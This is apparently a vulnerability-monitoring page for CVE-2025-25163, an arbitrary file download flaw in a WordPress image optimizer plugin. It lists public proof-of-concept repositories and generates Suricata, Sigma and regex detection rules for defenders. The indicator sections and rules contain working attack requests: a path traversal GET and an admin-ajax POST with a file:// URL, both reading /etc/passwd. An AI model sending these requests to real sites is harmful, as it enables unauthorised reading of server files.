PoC Monitor
← All CVEs
CVE-2025-25163published 7 Feb 2025 10:12 UTCData: JSON · API

Zach Swetz Plugin A/B Image Optimizer

WordPress Plugin A/B Image Optimizer Plugin <= 3.3 - Arbitrary File Download vulnerability

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Zach Swetz Plugin A/B Image Optimizer images-optimizer allows Path Traversal.This issue affects Plugin A/B Image Optimizer: from n/a through <= 3.3.

First public PoC 11 daysafter publication · 18 Feb 2025
Public PoCs22 on GitHub
CVSS9.8critical · scored by NVD · CWE-22
CISA KEV Not listednot known exploited

Affected versions and mitigation

From the CVE record and the vendor's references.

Affected

Zach Swetz Plugin A/B Image Optimizer
  • <= 3.3

Mitigation

The record names no fix. Check the vendor advisory below.

Timeline

Days relative to CVE publication
-2t=0+2+4+6+8+10+12CVE published7 Feb 2025 · t = 0First public PoC18 Feb 2025 · t+11d

First public PoC 11 days after publication; not in CISA KEV. First PoC: RandomRobbieBF/CVE-2025-25163 (created 18 Feb 2025, found by us: backfilled).

PoC repositories

Found on GitHub.

2 PoCs

PoCs 2
RepositoryCreatedStarsAssessment
RandomRobbieBF/CVE-2025-25163 18 Feb 2025 +11 d 1 PoC via PoC Index
RootHarpy/CVE-2025-25163-Nuclei-Template 19 Feb 2025 +12 d 1 Scanner
Flags · score 15
  • no network code found (normal for a local exploit)

Below the suspicion threshold (50); does not change the assessment.

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

PoC characteristics

What to hunt for in your logs · from 2 PoC repos

GET /wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd

Seen in
1 repo: RootHarpy/CVE-2025-25163-Nuclei-Template
Evidence
RootHarpy/CVE-2025-25163-Nuclei-Template/CVE-2025-25163.yaml:21

POST /wp-admin/admin-ajax.php

Key headers
Accept: */* Accept-Language: en-US,en;q=0.5 Cookie: wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1739543461; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmin%7C1740046038%7C1N8xr9D0vHFOPOWEa8SZgQgnMrADwNBlBuy2clxo5pS%7C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e29284fe; tk_ai=woo%3AHJ877y%2BjNWutqlxgSuyOlVs2; woocommerce_items_in_cart=1; woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e; wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%7C1740046039%7C%7C1740042439%7C%7C81057c84ecef3df59f0857082ef7c538 Priority: u=4
Body markers
action=ab_save_image_locally imageUrl=file:///etc/passwd in application/x-www-form-urlencoded
Ports
8929
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Seen in
1 repo: RandomRobbieBF/CVE-2025-25163
Evidence
RandomRobbieBF/CVE-2025-25163/README.md:23

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd
(?i)^/wp-content/plugins/plugin-a-b-image-optimizer/\.\./\.\./\.\./\.\./\.\./\.\./\.\./\.\./etc/passwd(?:[?#].*)?$
POST /wp-admin/admin-ajax.php
(?i)^/wp-admin/admin-ajax\.php(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-25163 Zach Swetz Plugin A/B Image Optimizer exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2025-25163; classtype:web-application-attack; sid:9835617; rev:1;)
POST /wp-admin/admin-ajax.php
alert http any any -> $HOME_NET [8929] (msg:"GG PoC-Monitor CVE-2025-25163 Zach Swetz Plugin A/B Image Optimizer exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.5"; nocase; http.header; content:"Cookie: wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse|3b| wp-settings-time-1=1739543461|3b| wordpress_test_cookie=WP%20Cookie%20check|3b| wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmin%7C1740046038%7C1N8xr9D0vHFOPOWEa8SZgQgnMrADwNBlBuy2clxo5pS%7C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e29284fe|3b| tk_ai=woo%3AHJ877y%2BjNWutqlxgSuyOlVs2|3b| woocommerce_items_in_cart=1|3b| woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e|3b| wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%7C1740046039%7C%7C1740042439%7C%7C81057c84ecef3df59f0857082ef7c538"; nocase; http.header; content:"Priority: u=4"; nocase; http.request_body; content:"action=ab_save_image_locally"; http.request_body; content:"imageUrl=file:///etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2025-25163; classtype:web-application-attack; sid:9522854; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd
title: Zach Swetz Plugin A/B Image Optimizer exploit attempt (CVE-2025-25163)
id: gg-pocmon-cve-2025-25163-9835617
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-25163. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2025-25163
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/wp-content/plugins/plugin-a-b-image-optimizer/../../../../../../../../etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2025.25163
POST /wp-admin/admin-ajax.php
title: Zach Swetz Plugin A/B Image Optimizer exploit attempt (CVE-2025-25163)
id: gg-pocmon-cve-2025-25163-9522854
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-25163. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2025-25163
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/wp-admin/admin-ajax.php'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2025.25163